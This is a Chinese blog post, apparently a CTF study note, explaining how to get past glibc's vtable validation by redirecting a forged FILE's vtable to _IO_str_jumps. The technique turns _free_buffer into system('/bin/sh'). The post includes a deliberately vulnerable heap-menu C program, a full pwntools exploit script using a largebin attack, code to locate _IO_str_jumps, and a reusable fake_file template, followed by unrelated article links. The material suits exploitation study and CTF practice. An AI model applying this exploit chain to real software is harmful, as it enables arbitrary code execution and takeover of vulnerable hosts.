当前位置: 首页 > news >正文

【我的 PWN 学习手札】IO_FILE 之 劫持vtable到_IO_str_jumps

一、针对vtable的合法性检查

glibc-2.24及以后,针对vtable的篡改攻击,增添了对vtable合法性的检查,具体表现为宏IO_validate_vtable:

在这里插入图片描述

在这里插入图片描述

IO_validate_vtable宏的定义:

在这里插入图片描述

也即,vtable的数值需要限定在__stop__libc_IO_vtables~__start__libc_IO_vtables范围内。因此,对于vtable的劫持,不能到任意地址。不过好在,_IO_str_jumps_IO_wstr_jumps都在这个合法范围内,劫持vtable到这两个结构体上,是符合vtable的合法性检查的。但是为什么是这两个结构体?

二、_IO_str_jumps 和 _IO_wstr_jumps

首先,vtable原本的类型是__typeof__((struct _IO_FILE_plus{}).vtable)也即_IO_jump_t *类型。而_IO_str_jumps_IO_wstr_jumps也是_IO_jump_t类型,但是代表的函数指针表不同。因此将 *vtable填充成这两个结构体,是合法的。接下来看看这两个函数表,着重关注_IO_str_finish函数指针:

在这里插入图片描述

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
---------------------------------------------------------------
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}
---------------------------------------------------------------
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};    

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

这里我们注意到,参数fp的类型原本是_IO_FILE*,在if语句中,被强制类型转换为_IO_strfile*,并调用了_s.__free_buffer(fp->_IO_buf_base)_IO_wstr_jumps_IO_str_jumps内部过程完全一致。至此,利用方法就很明显了。

三、利用过程

  1. largebin attackIO_FILE劫持到堆上,即fake_file
  2. fake_file的相关成员设置好,满足触发链上的各种条件,包括设置fp->_IO_buf_base="/bin/sh\x00"
  3. IO_FILE类型的fake_file之后附加system函数指针,为下一阶段调用_s.__free_buffer类型混淆作准备
  4. fake_filevtable指向_IO_str_jumps偏移offset的位置,使得下一个函数触发到_IO_default_finish
  5. 触发_s.__free_buffer(fp->_IO_buf_base),实际上触发system("/bin/sh\x00")

四、无导出符号的_IO_str_jumps地址定位方法

  1. 在众多vtable表中,都有_IO_str_underflow函数指针

  2. _IO_str_jumps表在_IO_file_jumps表之后,相邻

  3. _IO_file_jumps表中存储_IO_str_underflow的地址之后开始找的下一个存储_IO_str_underflow函数的表就是_IO_str_jumps

from bisect import bisect_left
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow'] - libc.address
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20

五、模板与例题

1、pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

2、exp.py

from pwn import *
from bisect import bisect_left

elf=ELF("./pwn")
libc=ELF("./libc.so.6")

context(arch='amd64',log_level='debug',os='linux')

def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:\n", str(size).encode())

def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:\n", str(index).encode())

def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:\n", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)

def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:\n", str(index).encode())

io=process("./pwn")

add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)

delete(2)
show(2)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3afca0
success(hex(libc.address))
add(10,0x500)

# 定位表_IO_str_jumps
_IO_file_jumps=libc.sym['_IO_file_jumps']
_IO_str_underflow=libc.sym['_IO_str_underflow'] - libc.address
_IO_str_underflow_list=list(libc.search(p64(_IO_str_underflow)))
_IO_str_jumps=_IO_str_underflow_list[bisect_left(_IO_str_underflow_list,_IO_file_jumps+0x20)]-0x20
success("_IO_str_jumps: "+hex(_IO_str_jumps))
# gdb.attach(io)
# pause()

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
# 上述是chunk的控制头部字段,控制不了
fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['stdout']-0x20)  # _IO_write_ptr # largebin chunk next_bk_size
fake_file += p64(0)  # _IO_write_end
fake_file += p64(libc.search("/bin/sh\x00").__next__())  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(_IO_str_jumps-0x28) # fake vtable
fake_file += p64(0)  #_allocate_buffer
fake_file += p64(libc.sym['system'])  #_free_buffer

edit(2,fake_file)
delete(0)
add(10,0x20)


io.interactive()

3、fake_file板子

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable

相关文章:

  • LeetCode - 24 两两交换链表中的节点
  • PHP入门基础学习七(函数3)
  • WIn32 笔记:本专栏课件
  • Oracle管理员高级操作的详细步骤说明,涵盖性能优化、安全管理、高可用性配置等核心内容
  • Halcon 3D加快表面匹配速度
  • [深度学习]基于C++和onnxruntime部署yolov12的onnx模型
  • Git add --- error: Filename too long
  • 代码随想录DAY35|01背包问题、416. 分割等和子集
  • DeepSeek开源周Day1:重磅发布FlashMLA,重新定义AI推理效率天花板
  • AI顿悟之旅 - 1 - DeepSeek的训练方法为什么相比GPT-o1大幅度减少算力资源?
  • Windows与Ubuntu安装MySQL
  • Sqlserver安全篇之_隐藏实例功能和禁用SQL Server Browser服务
  • 银河麒麟高级服务器操作系统通用rsync禁止匿名访问操作指南
  • 【STL专题】优先级队列priority_queue的使用和模拟实现,巧妙利用仿函数解决优先级
  • wifi5和wifi6,WiFi 2.4G、5G,五类网线和六类网线,4G和5G的区别
  • 本地部署轻量级web开发框架Flask并实现无公网ip远程访问开发界面
  • windows中kafka集群部署示例
  • PHP 连接 Memcached 服务
  • Redis持久化机制与数据恢复
  • PHP入门基础学习三(PHP基本语法)
  • 中国结算澄清“严查场外配资”传闻:账户核查为多年惯例,无特殊安排
  • 中国乒协坚决抵制恶意造谣,刘国梁21日将前往多哈参加国际乒联会议
  • 第78届戛纳电影节开幕,罗伯特·德尼罗领取终身成就奖
  • 图讯丨习近平出席中国-拉美和加勒比国家共同体论坛第四届部长级会议开幕式
  • 著名学者黄修己去世,享年90岁
  • 社恐也能嗨起来,《孤独摇滚》千人观影齐舞荧光棒